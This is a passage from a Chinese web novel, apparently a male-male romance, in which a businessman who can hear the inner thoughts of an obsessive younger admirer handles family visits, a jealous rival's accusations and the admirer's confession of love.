老爷子口中不错的茶叶,一定是顶好的茶叶。 岳裎摇头,客气道:“您留着吧,我爷爷不怎么喝茶。” “你不用跟我客气,拿着吧,我跟你爷爷认识大半辈子了,几盒茶叶算不了什么。”季老看了眼季时昱。 季时昱顺势接话:“你不拿,我就亲自去岳家送了。” 岳裎只好答应了。 老爷子坐在屋里问着岳老的事,隐秘地问了些关于岳裎感情的事。 岳裎:“爷爷,我跟时昱一样单着呢,我们俩可约定好了,谁先脱单谁请客吃饭,到时候必须狠狠宰对方一顿。” 得知岳裎也没对象,季老放心了,笑着点了点头,“行,行,你们聊吧,我去楼下待着。” 季时昱扶着老爷子站起来,一直送到门口,门外有佣人等着,见状连忙扶住老爷子。他看着老爷子下楼,回屋关了门。 岳裎黑着脸说:“老爷子好像挺高兴的。” “你看错了。”季时昱忍俊不禁笑出了声。 岳裎叹道:“我容易嘛我,在家里被我爸妈爷爷奶奶说,出来了还要被笑。” 季时昱知道岳裎家里人逼得紧,恨不得绑着人去联姻,如果不是岳裎这些年能力不错,可能真的要听从家里的安排了,他正想说点安慰的话,听到一阵熟悉的手机铃声。 他转头看去,不由扶额,另一只手把手机推到岳裎面前,“你来接,跟他说我出去了。” “好,我开免提你听着。”岳裎挑了下眉,忍着笑拿起手机接听,点开免提,没急着说话。 “哥哥,我感冒了。”闻湫说话的声音带着点儿轻微鼻音。 岳裎清了清嗓子,“严重吗?” 他和季时昱的声音完全不同,手机那边骤然安静。 季时昱靠着椅子,等着听闻湫问他在哪儿。 隔了一会儿,闻湫终于说话,带着几分冷意问:“你是谁?” 岳裎:“……” 季时昱转过头,无声笑着。 “我,你表哥。”岳裎加重声音。 手机那边静得不像话。 半分钟后,闻湫说话的语气变成了岳裎印象中的乖弟弟,“表哥,我刚才以为昱哥的手机被陌生人捡了,我没想到会是你。” 岳裎笑了声,“没事,时昱出去了,你找他什么事?” 闻湫:“不是重要的事。” “跟我说吧,我帮你转告。”岳裎顿了顿,问:“你不是说感冒了,情况严重吗?” “没事,不严重,”闻湫冷静道:“表哥,我爸喊我,我先挂了。” 话落,不给岳裎说话的机会,立马挂断。 岳裎看着黑屏的手机,“他主动挂过你电话吗?” 季时昱摇头,“忘了。” “我之前哪能想到他是冲你来的呢。”岳裎感叹道:“没想到啊,我也有被人利用的一天。” 季时昱但笑不语。 岳裎:“不聊了,我该走了,再晚点要被留下来吃饭了。” 季时昱亲自下楼送他到门口。 雪停了,外面的路不好走,他叮嘱岳裎开车慢点。 季时昱本以为闻湫今天还会给他打电话,但是并没有,一直到深夜都没有再打来电话。 大年初二,道路上的积雪被扫除,天太冷,地面上结了一层霜,街道上的车缓慢前行,每辆车前后保持着一些距离。 季任烽和闫絮坐在后面商量下次去哪儿玩。 季时昱在前面开车,路口轮换到红灯,前方车辆停下,他到了一定距离后轻轻踩下刹车,抬眸扫了眼后视镜,视线平静地转向车外。 “时昱,你过了年不出去玩几天吗?”闫絮突然问道。 季时昱:“公司忙,抽不出时间。” 季任烽:“休息两三天没事的,那么大个公司,没了你又不会怎么样。” 季时昱没应声,他对玩没兴趣,闲下来更倾向于在家休息,何况季帆嵘在A市,指不定哪天又出来作妖。 闫絮显然也想到了这点,叹道:“时昱,有些事你可以让你舅舅出面,你不用怕麻烦他。” 季时昱:“我知道,现在还没到时候。” 前方红灯变为绿灯,前面的车辆缓缓开动。 季时昱开车跟上。 闫家。 闫霖下了车往屋里走,进屋后对妹妹闫允点了点头,而后看向坐在沙发上的两个人,“爷爷。” 闫老爷子:“你爸没跟你一起?” “路上接了个电话去了安叔那儿,让我先回来了。”闫霖坐在妹妹身边,“听说小姨前天回来了。” “回来了,待会儿就到咱们家了。”闫老爷子提到女儿,脸上的笑意明显变多了。 说曹操曹操到,他们话音刚落,外面响起了关车门的声音。 闫霖起身,走到门口听到了他母亲和小姨的谈笑声。 季时昱提着礼品走了过来。 闫家院里打扫的很干净,雪堆积在围墙边,地面上没有冰霜,不用担心走路时滑倒。 闫霖顺手接过季时昱手里的礼品,“年后什么时候开始忙?” “初六之后。”季时昱将手放进羽绒服兜里,正巧听到手机响起,他拿起手机看一眼,快要踏进屋里的脚步停下。 闫霖站在他身边,“怎么了?” “去外面接个电话。”季时昱握着手机,转身往外走。 闫絮和嫂子聊着走了过来,看他不进屋反而往外走,下意识问道:“怎么不进去?” 季时昱:“电话。” 闫絮:“工作的事?” 季时昱颔首,快步往外走,路过后面的季任烽迎来了同样的问题,他给出一样的答复。 出了闫家的院子,他朝一个方向走了一段路程,站在路边接听刚挂断不久又打来的电话,低头看着路边的雪没有吭声。 静默一阵儿,手机话筒里传来闻湫的疑问,“哥哥,是你吗?” “是我。” 外面很冷,季时昱身上没有带耳机,只好拿着手机,冷风刮在手背上带着轻微的刺痛。 “我昨天给你打电话了。”闻湫说。 季时昱轻嗯一声,“听岳裎说了。” 手机话筒里,闻湫咳了声,听着病气很重:“我本来打算晚上再打给你的,但我昨晚发烧晕过去了,今早醒来的时候在医院。” 季时昱皱眉,抬眼看到前面走过来的长辈,点颔首示意,声音放低:“情况怎么样?” 他没有开免提,耳朵贴着手机,清楚听到闻湫笑了声,说:“退烧了,没有大问题,我家里人走亲戚去了,我现在一个人待在医院,挺自在的。” 闫舅舅走到了季时昱面前,掏出根烟递过去,“来一根?” 季时昱摇头,“戒了。” 同一时间,话筒里的声音变得冷漠且毫无感情:“哥哥,你身旁的人是谁?” 第27章 他特别坏 哥哥,你回头 闻湫在季时昱面前永远在装乖、装无辜、装单纯, 说话的语气一成不变,最多哭着抱怨几句,从未当面有过任何不好的情绪。 耳畔冷冰冰地质问让季时昱顿了下,眉头微挑, 声音却淡下来:“长辈。” “原来是长辈啊。”话语又变回原来的无辜, 笑嘻嘻道:“哥哥既然戒烟了, 就别吸了,不然以前的坚持会功亏一篑的。” “没接,”季时昱看舅舅打算待在他边上抽一根,往旁边挪了两步, 对着手机道:“你昨天找我就为了说感冒的事?” 闻湫苦恼道:“我爸妈要调查我寒假那段时间除了在季氏工作以外, 还干了什么事, 见了什么人, 我想打电话提醒你一声。” 季时昱垂目,“嗯。” “我爸妈会专门找人调查你的过往和为人, 你要是不喜欢, 可以找人把能调查出来的信息修改一下。”闻湫声音很轻,“况且我不想你被他们调查,我说完了, 哥哥挂电话吧。” 这些事对季时昱来说轻而易举,他应下,“好, 挂了。” 挂完电话,闫舅舅夹下嘴里的烟, 吐出一口气,笑着问:“男朋友?” 季时昱摇头,随口说道:“年前认识的弟弟, 有点黏人。” “看来那些传言不全是假的。”闫舅舅抽了口烟,脸上挂着笑。 季时昱:“是假的,您别听他们乱传。” 闫舅舅:“我只看最后结果。” 季时昱失笑。 舅甥俩随便找话题聊着,等闫舅舅抽完那根烟,一起往闫家走。 季时昱进了闫家大门,被表哥闫霖喊上了楼。 他们站在二楼窗台边上,闫霖给季时昱递了根烟。 季时昱没接,“早戒了。” 闫霖转手把烟送进自己嘴里,拿出打火机点着,吸了一口,打开窗户缓缓吐出烟雾,“晋垣联系我了。” “那不挺好的吗。”季时昱走近窗户,抓了把外面残留在窗台上的雪。 “是挺好的,”闫霖声音沙哑:“时昱,帮我个忙。” 季时昱笑了声:“自家兄弟,有事直说。” “他最近在接触一些生意,我不懂生意场上的事,你暗中帮衬着点,到时候有关季帆嵘的事,我来出面处理。”闫霖同样不是喜欢欠人情的性格。 季时昱:“好。” “闫霖,你又抽烟。” 二人身后响起一道女声。 季时昱回头,看到来人,颔首道:“表姐。” 闫允点点头,对闫霖说:“医生的话你忘了?” 闫霖:“我这半个月才抽了这么一根,你让我抽完吧。” 闫允:“快点,楼下快开饭了,时昱你先跟我下楼,别理他。” 季时昱应了声,跟闫允一起下楼。 窗外飘起了雪花,被季时昱抓光的那片窗台逐渐盖上一层薄薄的雪,遮住了窗台原本的颜色。 初三初四连下两天,雪天不方便出行,好在季家没什么亲戚,不需要频繁走动。 季帆嵘则不同,尹安玥家里亲戚多,季帆嵘要陪尹安玥拜年送礼,包括季忱季茵在内,他们一家人在初六之前没有闲下来过。 季时昱这阵子待在老宅休息,年前高强度忙了那么久,现在可算是歇回来了。 闫絮和季任烽今天离开,老爷子让人做了一大桌子菜,一家人坐在一起给夫妻俩送行。 老太太叹道:“真不明白你们怎么想的,大冷天的在家待着不舒服吗,非要出去吹冷风,想玩可以等到天暖和了再去。” 季帆嵘:“是啊,哥,嫂子,你们留在家里多陪爸妈说说话不好吗。” 闫絮看向他,笑道:“你不是最希望我们早点走的人吗?” 闫絮看不惯季帆嵘的虚伪,对他说话直来直去的,并不怕得罪谁。 季老爷子脸色问微沉,终究没开口训斥。 尹安玥:“嫂子,帆嵘只是想让你们关心一下爸妈,他没有别的意思。” 闫絮微笑:“有没有别的意思,他自己心里清楚。” 尹安玥张了张嘴,对上闫絮的眼神,到嘴边的话霎时不敢说出来了。 老太太:“好了,都是一家人,没必要搞那么僵硬,快吃饭吧。” 从始至终,季时昱和季茵季忱姐弟不曾说过一句话,这种场面见得多了,他们早就习惯了。 饭后不久,闫絮先上车等着,老太太拉着季任烽的手叮嘱事项。 季任烽上车,朝他们挥了下手。 车消失在前方转弯处,老太太:“行了,我们回屋吧。” 季时昱下意识要去扶腿脚不好的老爷子,但有人比他先一步扶住了。 “爸,你腿还痛吗,我待会儿再给你按一按吧。”季帆嵘语气关切。 老爷子:“嗯,确实按的不错。” “那是我在K市专门找中医学的,就为了过年回来给您按腿呢。”季帆嵘朝季时昱那边看了眼,笑道:“我头脑不太好,只会这些了,不像时昱那么聪明,每天忙得不着家,更没时间学这些。” 季时昱将他忽视个彻底。 初六的下午过得很快,季时昱明天要去公司,晚上没有留在老宅休息。 深夜。 季时昱手机里弹出来闻湫的消息。 【我爸妈要去岳家走亲戚,我也跟着。】 【哥哥你睡了吗?】 隔了一会儿。 【晚安。】 季时昱退出去,转头联系了岳裎,电话接得很快。 “这么晚了打电话干嘛?”岳裎那边闹哄哄的。 季时昱:“你在哪儿?” 岳裎说了个会所名字。 季时昱掀开被子,下床,“我去找你。” 岳裎参加的是一个朋友组的局,季时昱进来时,包厢里慢慢静了下来,声音越来越少,直到整个包厢陷入寂静。 今晚组局的朋友不安看向岳裎。 岳裎起身,笑道:“你们玩你们的,不用管我和季总。” 话虽这么说,大家还是有些忐忑,讨论的声音特别小,直到季时昱在岳裎身边坐下,他们才恢复原来的吵闹。 岳裎递来一杯低度数的鸡尾酒,“心情不好?” “家里待着无聊,随便转转。”季时昱端起高脚杯,抿了口酒。 “无聊来这儿就对了。”岳裎端起盛着果汁的玻璃杯。 季时昱视线落在那杯果汁上面,“你又不喝酒,来这种局玩什么?” 岳裎只在季时昱他们几个面前喝酒,在外酒精过敏的理由放出去了,哪怕参加一些酒场和酒会也不会碰一滴酒,但他经常参加这种酒场,大家知道他‘酒精过敏’,默契地给他递果汁。 岳裎压低声音:“听八卦啊,这种场子里有好多新鲜的八卦,听着挺有意思。” 季时昱:“想知道什么让人查不就行了。” 岳裎:“那不一样,在这儿听到的都是不可外扬的家丑,我平常没事找人调查这个干嘛。” 季时昱沉默喝酒。 事情如岳裎所说,不一会儿就有人讨论起八卦,要么谁家老爷子接了个小二十多岁的人回家,要么谁为了反抗联姻和家里决裂,故事精彩的堪比狗血剧。 岳裎凑过来,“是不是挺有意思的。” 季时昱抿口酒:“没什么用。” 岳裎愉悦笑道:“是没什么用,无聊的时候听几句,日子不就变得有意思了。” 季时昱没有反驳。 “我们现在坐在这儿,没人敢议论和我们相关的事,你说等我们走了,他们会怎么说?”岳裎好奇道。 这时,有人端着杯酒走到了季时昱面前。 “季总。”来人低着头,支支吾吾道:“您、您还记得我吗?” 季时昱盯着人看了一会儿,有印象但不多,冷声否认:“不记得。” 岳裎一眼认出了眼前的人是吴小少爷,年前那场拍卖会专门跟他父亲跑到季时昱面前套近乎。 吴小少年嘴角牵起非常勉强的笑意,“我们上次在拍卖会上见过。” 季时昱抬眼审视,“你想说什么?” 吴少这一举动引起了周围人的关注,包厢里还是那样吵闹,但很多人偷偷用余光瞥向季时昱这边。 吴少爷如芒刺背,深吸了一口气,说:“我能跟您谈谈吗?” 季时昱没吭声。 岳裎饶有兴趣地看着。 “是关于闻湫的事,我觉得您可能被闻湫骗了,他……”吴小少爷想到了什么,立马看向岳裎,这么说人家表弟,是个人都会生气。 岳裎此刻似笑非笑,看不出究竟有没有生气。 吴小少爷:“我和闻湫是同学,所以我……”知道他很多事。 话没说完,季时昱起身往外走。 吴小少爷眼睛一红。 岳裎提醒道:“跟过去啊。” 吴小少爷懵了一瞬,反应过来立即跟着往外走。 包厢里安静了一瞬,很快恢复喧闹,有个人坐在了岳裎身边,讨好笑了声,“岳哥,他们干嘛去了?” 岳裎喝了口果汁,“谁知道呢。” 包厢外。 季时昱站在走廊尽头,“现在可以说了。” 吴小少爷盯着他的侧脸,下意识咽了咽唾液,“您被闻湫骗了,他不像您想的那样单纯。” 上次在拍卖会,他看到了闻湫在季时昱面前的表现,仿佛换了一个人,他猜想闻湫一定是故意装成那样讨季时昱欢心的。 季时昱:“他什么样,你很清楚?” “认识他的同学都知道他这个人拽的不行,性格不好特别难相处,对谁都爱搭不理,有次我朋友生日,他被一位同学硬拉着去了,他听到我提起您的名字,说了很多让我难堪的话。”吴小少爷对闻湫的怨气特别重。 “你朋友什么时候过的生日?”季时昱想起了曾经的一些传言。 吴小少爷记不住具体日期,只说了个月份。 季时昱对上时间,问:“他那天说了什么?” 吴小少爷有些难堪,看着眼前长在他心坎上的脸,难以启齿道:“那天……那天……” 季时昱看着他,眼底没有丝毫波澜。 吴小少爷心尖儿颤了颤,说:“我那天真心话大冒险输了,朋友问我喜欢谁,我以为我朋友都不认识你,所以说了您的名字,没想到其中一个跟闻湫走得很近的同学告诉我……您有了喜欢的人。” “我当时觉得没关系,只要没有在一起,我就…就还有机会。” “没想到闻湫忽然开始针对我,说我这种行为是第三者。您应该调查过吧,当初有人专门找我问话,您肯定清楚我没有说谎。” 全部对上了。 季时昱偏头望向窗外,“那天以后,你开始到处打听关于我的事,导致这些事情越传越离谱,是吗?” 吴小少爷脸色发白,“不是,那是闻湫说的。” “可他没有到处说,”季时昱瞥了眼吴小少爷,“你紧张什么,我又不会怎么着你。” 吴小少爷:“我喜欢您很多年了,我真的……” 季时昱打断他:“你为什么要说闻湫骗了我?” “我听说过一件事,不知道是真是假。”吴小少爷不敢看季时昱了。 季时昱:“你说。” 吴小少爷:“刚开学那阵子,闻湫因为长得太好看,被一位学长连着骚扰了一周。不知道他们发生了什么,有一天,那位学长在外面说了闻湫几句不好听的话,不过我觉得这些属于同学之间正常的矛盾。” “到了第二天,那位学长没有来学校,再然后办理了休学,同学们都说……都说闻湫找人把那位学长收拾了一顿,学长家里的生意也被搅黄了。” 吴小少爷着急道:“还有很多关于他的传闻,我不是想挑拨离间,但他不是好人,特别特别坏,他在你面前的所有样子都是他伪装的,您不要被他骗了!” 季时昱转过头,泛着寒意的目光落到他身上。 吴小少爷低着头,四肢僵硬。 季时昱弯起唇,笑意不入眼,“如果有人连着骚扰我一周还说我坏话,这个人可以考虑换个城市生活了。” 吴小少爷顿时感到毛骨悚然,一阵凉意从裤腿窜了上来。 “你说的这些不足以证明闻湫的坏,至于他是否骗过我,我比任何人都清楚。”季时昱没看吴小少爷的脸色有多难看,抬起脚离开。 不是他偏袒闻湫,而是闻湫对待身边同学的行为没有任何问题。 他没有回包厢,拿出手机给岳裎发了条消息。 【走了。】 季时昱进了内部会员专用的电梯。 吴小少爷反应过来,猛地往前跑了几步,“季总,他对您不是真心的!” 门合上,电梯缓缓向下,走廊上的吴小少爷还在挨个例举闻湫态度不好的罪证。 可惜,季时昱听不到了。 他出了会所,夜晚的沉静跟会所里面完全是两个世界,刚给司机打完电话,手里的铃声再次响起,没看联系人,以为是岳裎打来的,手指按照肌肉记忆在手机上滑动。 “还有事?” 手机那边很安静。 “岳裎?” 话筒里传来轻微呼吸声,随后是一道无比熟悉的嗓音。 “哥哥,你回头。” 季时昱眼睫抬起,转过身,看到了站在他对面的闻湫。 闻湫穿了身黑色大衣,显得身形更加修长,脖颈围条奶白色围巾,头发有点长了,黑色碎发稍微挡住了眉眼。那里路灯坏了,身穿黑衣的他半隐匿在夜里,亮着屏幕的手机打在侧脸上,照出了苍白且毫无表情的五官。 阴森森的,像深夜里漂泊在外的幽灵,这一幕和季时昱年前那场梦境有点相似。 通话没有挂断,闻湫含笑的声音清晰传进他耳中。 “我在朋友视频里看到了哥哥的身影,还以为看错了呢。” 季时昱没再看他,错开眼神望着距离他很近的那辆车,“刚到A市?” “给你发消息时下的飞机,我爸妈也来了,他们在酒店。”闻湫挂了电话,朝会所这边走了过来,他腿长,步子跨得大,风衣带起了一阵风。 走近了,季时昱感受到了闻湫身上围绕的冷冽。 闻湫凑近季时昱,微微低头,像个小狗似的嗅着鼻子。 离太近了,季时昱后退了一步,“你干什么?” 他喝酒了,但没醉。 “你身上都是酒味儿,”闻湫皱了皱鼻子,“还有股刺鼻的香水味,好难闻啊。” 季时昱抬起胳膊嗅了下,真的闻到了陌生的香水味,皱起眉,“不小心蹭到的。” “不好闻,哥哥脱了衣服穿我的。”闻湫抬起手脱大衣。 季时昱按住他,“不用了,上车了再脱。” 闻湫眨了眨眼睛,抬头在周围扫视了一圈,笑得表情生动,“可是哥哥的司机还没来。” 季时昱来之前没想过喝酒,下了楼才想起联系司机,他手插进兜里,说:“我等一会儿就好。” “我开车来的,坐我的车吧。”闻湫眼尾微垂,循循善诱又不忘道出自己的委屈:“外面好冷的,吹感冒了怎么办,我住院那几天可难熬了,没有一个人照顾我,可怜死了。” 季时昱无动于衷。 闻湫目光微闪,蹙起眉头,模样惹人怜悯:“我感觉你总是想避开我,是我做错什么了吗?” 季时昱:“车在哪儿?” 闻湫盯着季时昱插进兜里的手,犹豫了一下,到底是没胆子去牵,笑着说:“在前面,你跟我来。” 季时昱走在闻湫身后,打电话告诉司机不用来了。 车里的暖气刚停不久,还暖和着。 几乎是坐进车里的瞬间,一股暖意包裹了季时昱,被冷风刮了那么久的脸颊有所缓和。 车门关上,闻湫说:“车里不冷,可以脱了。” 【到底是谁蹭到了哥哥,真难闻。】 季时昱配合脱下外套,原因是他不喜欢香水味,随后将外套搭在臂弯中,说:“我在里面遇到了你同学,他跟我说了点事。” 闻湫微顿,动作自然地拿起他臂弯中的外套扔到后座,问:“说了什么?” 车里一片昏暗,季时昱戴着眼镜也没能看清闻湫的神情,“说了你同学过生日那天的事。” 闻湫弯起眼眸,“然后呢?” 【肯定是吴年说的,他挺在意这件事。】 季时昱猜到吴年就是吴小少爷,见闻湫这么冷静,轻笑了声,“他说,你那天非说他是插足别人感情的第三者,他为什么要这样说?” 【笑起来真好看。】 “谁知道呢,可能发神经吧。”闻湫嗓音含笑:“哥哥相信他吗?” 季时昱偏过头,正巧一辆车飞速而过,车灯扫进车里,看清了闻湫眼里的笑,还有那抹不易察觉、一闪而过的寒意。 他没答信不信,反问:“你在哪个朋友的视频里看到了我? 闻湫:“忘了,没有给他备注。” 【吴年胆子真大,居然敢偷拍哥哥。】 季时昱点头,“不聊了,你送我回去。” 闻湫:“哥哥要去哪儿。” 季时昱说了地址。 闻湫应了声,乖乖开车。 【我早就提醒过他了,他还缠着哥哥不放。我都不敢偷拍的人,他竟然敢偷拍了发朋友圈,这个知三当三的小三,得给他点教训尝尝。】 季时昱在心里轻叹一声。 起码通过这句话,确定了闻湫没有对他有过不道德的行为,有什么事只在心里想想罢了。 他有些困了,摘了眼镜虚虚握在手里,靠在车窗闭上眼。 闻湫自觉没有开口打扰他,甚至将车里的音乐关了。 【这个点了,哥哥困了很正常,我不能打扰他睡觉。轻音乐也关掉,我太贴心了。】 【如果哥哥在车上睡着就好了,这样我就可以抱他下车了,剩下的事抱进电梯再说。】 季时昱睁开眼,默默盯着车外的后视镜。 太吵了,完全睡不着。 好不容易快到了地方,闻湫却在想该用什么姿势抱他下去。 车停下,闻湫做贼似的叫了声季时昱,声音轻到听不见。 季时昱没有再维持靠着窗的姿势,戴上沾了点指纹的眼镜,镜片看得依旧很清楚,“我回去了。” 【原来没有睡着,好可惜。】 闻湫面不改色,点点脑袋:“哥哥再见。” 季时昱开车门下去,反手关门,径直走向了前面那栋楼。 闻湫在楼下待了很久。 寂静的黑夜里,车门咔嚓一声突兀地响起,下一刻向外打开。 闻湫绕到后座拉开车门,拿起座椅上的衣服,低头闻着。一半是别人的香水味,另外一半是季时昱独有的味道。 他拧眉纠结许久,去后备箱的工具箱里找出了剪刀。 没过多久,白色车辆逐渐远去,楼下垃圾桶里多了件被剪了一半的衣服,另外半边不知所踪。 会所里。 吴年收到一条消息。 :【你完了。】 昵称是一片空白,也没有备注。他看得一头雾水,猜想对面是不是发错人了。 【你是?】 他发了消息,对面完全没反应。 初七的天气有些回温了,路边堆积的雪早已化成雪水阴在地下,街道上的车再一次增多,有几条道路堵了快半个小时。 季时昱挂断电话,抬腕看了眼时间。 导航提醒红绿灯前面那条道也在堵车,司机打了左转换道,到了路口转弯绕路。 到达公司,季时昱推门走进办公室,关秘书紧跟在他身后汇报工作,依然是关于分部的事情。 “订两张后天的机票,你和我一起去。”季时昱拉开椅子坐下。 关秘书:“好的,还有就是面试的事情,您今年要亲自面试吗?” 关秘书记得自己第一次来季氏那天,就是季时昱亲自面试的。 季时昱:“你去就行,按照当初的流程走。” “好的。”关秘书拿着文件离开。 季时昱打开电脑忙工作,阳光照进办公室,透过冰冷的镜片折射出一道光。 关秘书关门前看到这一幕,下意识打了个寒颤。过个年回来,感觉季总更加不近人情了。 关秘书出去后迅速订了两张后天飞国外的机票。 季时昱在办公室待了一上午,中午接到了岳裎的电话。 “在公司?”岳裎问。 季时昱打开免提,把手机放桌上,手指敲着键盘,“嗯,你有事?” 岳裎:“闻湫的爸妈来A市了,他们晚上会来我家吃饭。” 季时昱:“你找我就说这个?” “他妈妈想让我把你约出来一起吃顿饭,”岳裎轻咳两声,“我看她的态度不错,没有一口回绝,想先问问你的意见。” “我后天出差,明天上午还是下午你看着安排。”季时昱对此倒是无所谓。 岳裎:“行,明天见。” 下午。 关秘书拿着几份面试资料进来。 “季总,这是今天那批人里,几个表现不错的资料。”关秘书把面试资料放桌上。 季时昱拿起最上面那份翻了两页,随后合上放到一旁,再去拿下一份资料,依旧如此。 关秘书对此见怪不怪。 连着五份资料被排除,仅剩最后两份。 季时昱掀开看了眼,暂时没有合上,他又去拿最后一份。 两份对比半分钟之久,他伸手敲着其中一份,“就她了。” 关秘书:“好的,我晚点会通知她。” 因为工作排得比较紧,现在急需一位秘书来分担,所以流程走得很快。 晚上。 季时昱坐在书房里开会,屏幕对面是两张陌生的白人面孔。会议持续了两个多小时,结束后,他收到了闻湫的消息。 【哥哥,你那件衣服落我车里了。】 【我觉得那个香水味太难闻了,想帮你洗干净,但是不小心洗坏了,我可以赔给你一件新的。】 一件衣服而已,季时昱不至于放在心上,打字回消息。 【不用。】 他放下手机,捶了捶泛酸的肩膀,拿起水杯,起身去外面倒水。 不多时,桌上的手机又响了几声,季时昱待在客厅没有听到,喝过水去浴室冲了个澡,等他看到微信消息时,已经是半个小时后了。 “”撤回了一条消息。 “”撤回了一条消息。 连着五条都是这样的提示。 闻湫的昵称是一片空白,季时昱几年前也在季忱微信里看到过,猜想现在的学生应该都喜欢这样。 他没有好奇闻湫发了什么,也没问,闻湫一晚上没再发来消息。 一夜无梦。 次日中午,季时昱按照说好的时间来到了酒店。 他守时来的,看到闻湫的父母已经坐在了包间里,岳裎和闻湫都在,除此之外还有岳裎的母亲。 岳裎母亲笑着介绍他们双方认识。 季时昱看向闻湫的父母。 他之前在调查的资料中见过,上面的人表情严肃,眼前的二位同样是不苟言笑,哪怕是今天这样的饭局,他们也穿了正装。 这顿饭并没有提起闻湫的事,大家坐在一起,就像在应酬一顿再简单不过的饭局,只不过气氛有点怪。 闻湫看季时昱的眼神不知道收敛,过度关注的目光引得闻湫母亲频繁打量季时昱。 季时昱面不改色,好似没有察觉到桌上奇怪的氛围。 岳裎的母亲几次欲言又止,最后尴尬笑几声,拿着手机疯狂给岳裎发消息。 岳裎也懵啊,上次见面闻湫好歹会装一下,这次倒好,装都不装了,是个人都能看出闻湫有多关注季时昱。 饭局结束,闻母主动提了想加季时昱的联系方式。 季时昱没有拒绝。 当面扫码的场面太尴尬,岳裎的母亲笑道:“待会儿我把时昱的微信名片推给你。” 闻母颔首,礼貌道谢。 闻湫和岳裎这层表亲正是因两位母亲构建起来的,可她们之间的相处堪比陌生人,很难想象她们之前聊了两个小时都说了什么。 离开时,岳裎坐在了季时昱车上。 “我以前还在奇怪呢,岳氏怎么会跟S市那边的生意沾边,直到我爸告诉我,那个生意是他朋友介绍的,我后来调查了一下,发现闻湫在那之前去过我爸朋友那里一趟。” “什么时候?”季时昱问。 岳裎:“就是我介绍闻湫跟你见面前的那几天。” 季时昱点了点头,毫不意外。 岳裎见他这么镇定,稀奇道:“他明显是冲着你来的,你就不生气?” 季时昱:“生气有用吗?” “确实没用,”岳裎狐疑道:“你们俩真没事儿?” 季时昱:“没有。” 岳裎:“那就好。” 快到地方的时候,岳裎又疑惑了,“不对啊,他怎么认识你的,你们以前见过面?” “或许吧。”季时昱从没打算把书里的事往外说。 岳裎:“这个心机男,他喜欢你就直接大大方方的追啊,还玩这一套。” 季时昱看向他,笑了声:“他可是给你们家送了笔大生意。” “钱哪有兄弟重要!”岳裎想起件事儿,脸色又变了,“你知道他正式认识你那天跟我说了什么吗?” 季时昱:“什么?” 岳裎想到那次的事儿,气笑了。 “他告诉我,他喜欢展绮很久了,希望我们以后聚会经常带着他,他想近距离观看自己的偶像!我那时候没看出他把展绮当偶像的样子,问他为什么不直接要签名或是合照,他却说不想打扰展绮的正常生活,现在想想全是套路!” 季时昱:“……” 是闻湫能做出来的事。 岳裎:“幸亏展绮不常在A市,不然他能得逞多少次啊。” 季时昱回到公司,发现微信通讯录那里多了个红点,他点进去,看到了闻母的个人写真头像,选择了接受好友。 直到傍晚,对方都没有发来消息,反而是闻湫找到了公司。 “季总,小闻来公司了,他想见您一面,您现在方便吗?”关秘书站在门口问。 因为闻湫兼职过季时昱的助理,跟公司很多人混了个脸熟,前台在他进来时没有拦着他。 “让他进来。”季时昱没打算让关秘书找借口赶人走,他了解闻湫的执着,这种事没必要为难其他人。 关秘书关门出去。 半分钟后,闻湫进来了,他关好门,微垂的眼睫在眼下打出一片阴翳,抬起头,私下练了许久的笑容重新出现在脸上。 “晚上好啊,哥哥。” 【认真工作的样子也好好看。】 第28章 我想追你 好难受,心脏快坏掉了 落日斜阳扫进办公室, 把闻湫脸上的笑容照得有些不真切。 季时昱看着他,“找我有事?” 闻湫走到季时昱面前,顶着温顺懂事的笑容,浓黑的眸子却不清澈, “我好久没有来公司了, 有点想念, 更想念在国外和你单独相处的那些天,如果这种机会能再来一次就好了。” 事到如今,季时昱没心思和他揣着明白装糊涂了,“说实话。” 闻湫笑意收敛, “我不能来吗?” 季时昱:“可以, 但你找我什么事?” 闻湫缄默无言。 【当然是因为想见哥哥。】 季时昱坐着, 闻湫站着, 二人对视了很久。 闻湫微微歪头,疑惑问:“为什么不能找你?” 【我不能找, 那谁能来找?吴年?还是别人?哥哥的追求者有多少?他们有我好看有我养眼有我贴心?】 季时昱盯着电脑屏幕看了一阵儿, 说:“你不觉得你有些太黏我了?我们的关系好像没有好到时刻要待在一起的地步,你到底有什么目的。” 闻湫微笑:“哥哥想听实话?” 季时昱:“不然呢。” 闻湫绕过办公桌走近了些。 季时昱转着椅子面向他,右腿懒散搭在左腿膝盖上, 手指夹了根笔转着玩,抬头对上闻湫的眼神,毫无怯意。 闻湫半蹲在季时昱身前, 仰起头,真挚又暧昧地开口:“哥哥, 我说了实话不能赶我走哦。” 季时昱已然从心声中获取答案,目的就是要让闻湫把心思坦白在明面上,总搞暗戳戳的一套, 他没那么多精力配合。 此刻,他姿态慵懒地靠着椅背,“你说。” “你听了不可以生气,更不能躲着我,不然我会受不了的。”闻湫垂下眼,有点想握住他转动黑色笔杆的手指。 他指尖动了一下,那只手像是早就预测到一般,抬了起来,搭在椅子扶手上,慢悠悠转动着笔。 他看得出神,不可避免地多想了点其他的事。 季时昱蓦然拧眉,控着椅子往后退了点,嗓音冷淡:“有话直说。” “哥哥,”闻湫再次抬起头,眼里倒映着季时昱的身影,“我不黏别人只黏着你,是因为我喜欢你,我想追你。” 【实话实说了,哥哥不要讨厌我,不然我会疯掉的。】 季时昱打量着闻湫。 时至今日,他仍不能确定闻湫对他的感情中参杂了几分真心,又有几分是寻求刺激带来的假意。 他停下了转笔的动作,随意将那支笔扔到桌上,“我近几年没有恋爱的打算,你可以早点放弃了。” 闻湫直视他,嘴角微弯,眼里却看不到多少笑意,一字一顿:“我不会放弃的。” “我只是给你提个醒,不要白费力气。”季时昱平静移开视线,“现在,你可以出去了。” 闻湫慢慢红了眼眶,眼睫轻动,泪意凝聚在眼前,近乎哽咽道:“你能不能不要用这种语气跟我说话,我真的很喜欢你,第一眼就喜欢了。” 季时昱:“我对谁都这样。” “我以为我是不一样的。”闻湫眼中闪过一丝躁郁,低下头,眼泪如断了线的珠子砸在地上,小声说:“那又怎么样,我就是要追你。” 【怎么能把我和别人放在一样的位置。】 【好难受,心脏快坏掉了,哥哥好无情,拒绝人都拒绝的那么干净利落,可我更喜欢了怎么办,受不了了,不然别装了,直接……】 季时昱听到‘心脏快坏掉了’下意识抿了下嘴,怕他真出事,委婉道:“怎么追人是你的事,同不同意是我的事,你执意要追,未来后悔了别来怪我耽误你。” 脑中的声音戛然而止。 直接什么?闻湫想干什么? 闻湫因为他的话,停止了内心即将陷入黑暗的想法,心跳漏了一拍,激动到瞳孔有一瞬的外扩。 